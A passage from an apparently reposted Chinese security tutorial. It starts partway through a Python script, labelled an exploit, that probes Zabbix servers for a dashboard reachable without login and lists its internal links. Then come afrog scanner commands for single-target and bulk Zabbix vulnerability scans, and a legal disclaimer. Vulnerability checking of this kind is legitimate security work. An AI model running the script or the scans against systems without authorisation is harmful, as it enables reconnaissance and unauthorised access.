user_agent = ua.random
except:
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

headers = {
'User-Agent': user_agent,
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': host
}

# 构建目标URL
target = f"{host}/zabbix/zabbix.php?action=dashboard.view&dashboardid=1"

print(f"[ >>> Target => {target}")
for key, value in headers.items():
print(f"[ >>> {key} => {value}")

try:
# 发送请求
session = requests.Session()
response = session.get(target, headers=headers, verify=False, timeout=30)

# 输出响应头
for key, value in response.headers.items():
print(f"[ <<< {key} => {value}")

# 检查响应状态
if response.status_code == 401:
print("[!] Exploit failed! 401 Unauthorized!")
sys.exit(1)
elif response.status_code == 403:
print("[!] Exploit failed! 403 Forbidden!")
sys.exit(1)

# 检查响应内容
if 'Dashboard' in response.text:
print("[\n[ The target is vulnerable. Try to open these links:")

# 使用BeautifulSoup解析HTML并提取链接
soup = BeautifulSoup(response.text, 'html.parser')
links = soup.find_all('a', href=True)

for link in links:
href = link['href']
# 过滤无效链接
if href.startswith('javascript:') or href == '#' or href.startswith('http'):
continue

# 确保链接格式正确
if not href.startswith('/'):
href = '/' + href

full_url = f"{host}{href}"
print(f"[ {full_url}")
else:
print("[!] Exploit failed! The target isn't vulnerable")
sys.exit(1)

except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")
sys.exit(1)
except Exception as e:
print(f"[!] An error occurred: {e}")
sys.exit(1)

if __name__ == "__main__":
main()

Zabbix漏洞工具检测

afrog.exe -s zabbix -pl #列出zabbix漏洞列表

1757033137_68ba32b1bb9d17b2c5dcb.png!small?1757033135832

afrog.exe -s zabbix -t http://xxxxxxx -o xxxx.html  #单目标检测

1757033150_68ba32be892e021eed8fc.png!small?1757033148596

afrog.exe -s zabbix -T xxxx.txt -o xxx.html

1757033164_68ba32cce0aeb0831aedf.png!small?1757033162976

1757033172_68ba32d473cbbf059ae7a.png!small?1757033170537

1757033179_68ba32db751175ebbee85.png!small

总结

在网络安全的世界里,停止学习就意味着落后,共勉!

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/447327.html
如有侵权请联系:admin#unsafe.sh